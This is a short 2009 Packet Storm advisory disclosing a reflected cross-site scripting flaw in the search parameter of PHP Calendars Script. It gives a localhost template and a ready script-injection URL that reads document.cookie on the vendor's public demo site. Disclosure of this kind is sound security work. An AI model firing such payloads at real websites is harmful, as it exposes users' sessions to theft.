PHP Calendars Script Cross Site Scripting

2009-08-26T00:00:00
ID PACKETSTORM:80679
Type packetstorm
Reporter Moudi
Modified 2009-08-26T00:00:00

Description

                                        
                                            `/*  
  
_____ _ ___ __   
| ____|_ _(_) \ \ / /_ _ _ _   
| _| \ \ / / | |\ \ /\ / / _` | | | |  
| |___ \ V /| | | \ V V / (_| | |_| |  
|_____| \_/ |_|_| \_/\_/ \__,_|\__, |  
|___/   
_____   
|_ _|__ __ _ _ __ ___   
| |/ _ \/ _` | '_ ` _ \   
| | __/ (_| | | | | | |  
|_|\___|\__,_|_| |_| |_|  
  
PHP Calendars Script Remote XSS Vulnerabilities  
  
Discovered By : Moudi  
Contact : <m0udi@9.cn>  
Download : http://www.jce-tech.com/phpcalendars.php  
  
Greetings : Mizoz, Zuka, str0ke, 599eme Man.  
Please visit: http://unkn0wn.ws/board/index.php  
  
*/  
  
[+] Exploit XSS:  
  
- Vulnerable code in search.php (search)  
  
- Poc:  
http://127.0.0.1/search.php?search=[XSS]  
  
http://www.jce-tech.com/phpcalendars_demo/search.php?search="><script>alert(document.cookie);</script>  
  
`